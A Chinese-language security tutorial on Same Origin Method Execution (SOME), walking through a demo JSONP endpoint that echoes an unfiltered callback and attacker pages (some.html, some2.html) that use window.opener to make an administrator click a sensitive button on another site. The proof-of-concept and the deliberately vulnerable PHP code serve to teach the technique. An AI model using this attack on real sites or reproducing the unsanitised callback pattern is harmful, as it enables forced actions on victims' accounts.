先贴一篇paper,这个是Ben Hayak在Black Hat Eorope 2014演讲的题目,是关于如何利用JSONP之类的callback执行方法,特别是在对callback的参数名进行过滤之后的情况下。
我们都知道,JSONP可以利用callback的特性,来跨域传输数据,毫无疑问也可以同域间传递数据。我们试着考虑一下这种场景,某个网站在编辑文章的地方提供了一个颜色选择器,用来调整文字颜色,这个颜色选择器是一个弹出的窗口,通过一个callback参数与原页面进行通信,具体一下可能是下面这样:
http://a.com/color.php?callback=get_color
color.php的部分内容可能如下:
<script> function get_color(data) { // todo here } </script>
也就是当访问color.php?callback=get_color
之后,会在当前页面执行get_color函数,进行数据处理之类的操作。如果开发者不注意的话,就会出现安全隐患。我们可以利用这个callback的缺陷,来执行用户不期望的敏感操作。注意一点,这并不是CSRF,一旦CSRF有了token就无法利用了(在不考虑同源XSS的情况下),但是SOME却是可以绕过这种限制进行敏感操作。
但是这种漏洞也是有着利用限制的,这个JSONP如果返回了类似Content-T ype: application/json
的值,是无法利用的,因为这段代码并不会执行。通常情况下只有返回Content-Type: text/html
才有利用的机会。有个较为简单的判断方法,当修改了URL中的callback值后,看看console中是否会有类似找不到方法xx
,未定义的方法xx
之类的提示,如果有的话,可以简单的认为,这个callback对应的函数会被执行。
在JavaScrip中,我们可以通过window.open()
方法打开一个新的窗口,而且新窗口与原窗口是可以互相交互的。
page1.html
<script> var win1 = window.open("page2.html", "_black"); </script>
page2.html
<script> var bodyElem = window.opener.document.body; </script>
从上面的代码可以看出,原页面可以通过变量获取到新页面,而新页面又可以通过window.opener
获取到原页面,这也为SOME
提供了利用基础,当然前提条件是page1
和page2
需是同源。
我们有了一个可以执行任意方法的接口,又知道了可以通过opener
获取到原页面,那么我们就可以利用这种特性让用户进行他们不愿意的操作。
准备一个some.html
页面
让some.html
打开some2.html
页面
some.html
跳转到目标页面(含有敏感操作dom的页面,例如含有点一下就删除订单、点一下就增加用户之类的敏感操作的页面)
在some.html
跳转完成后,让some2.html
跳转到发现的JSONP接口,并将callback修改为我们的payload
利用完成。
光这样看起来会感觉很难过,我把相关文件的代码贴出来。
info.php
,JSONP接口,获取用户信息;
<?php $callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"]; $data = [ "username" => "lightless", "avatar" => "http://cdn.lightless.me/images/01.jpg", ]; $data = json_encode($data); echo "<script>"; echo $callback . "(" . $data . ")"; echo "</script>";
secret.html
,含有敏感DOM的页面,其中有个敏感按钮,点击会触发一些操作
<html> <body> <form> <button onclick="cc()">Secret Button</button> <label>Access Token: </label> <input readonly value="abcdefg"> <br> <label>Secret Token: </label> <input readonly value="123456"> </form> <script> function cc() { alert("cc click!"); } </script> </body> </html>
上面两部分假设分别是http://b.com/user.php?callback=view
以及http://b.com/secret.html
,其中secret.html
中的内容以及按钮只有管理员才可以查看与操作,其他人是无权查看的。我们的目标就是『让管理员点击Secret Button按钮』。
接下来我们构造POC。首先要有个some.html
,他负责打开新的页面,并且将当前页面重定向到含有敏感DOM的页面即secret.html
。
some.html
<script> function start_some() { window.open("some2.html"); location.replace("http://b.com/secret.php"); } setTimeout(start_some(), 1000); </script>
最后的some2.html
页面,需要等待some.html
重定向完成后,重定向到JSONP接口,利用这个接口对window.opener
(现在已经变成了b.com/secret.html)执行操作。
some2.html
<script> function attack() { location.replace("http://b.com/info.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click"); } setTimeout(attack, 2000); </script>
这样当用户访问http://attacker.com/some.html
的时候,实际上已经执行了b.com
上的敏感操作。
我这里录制了一段视频来演示这个利用过程:https://ol72orml7.qnssl.com/SOME-VIDEO.mp4,需要的同学可以自取。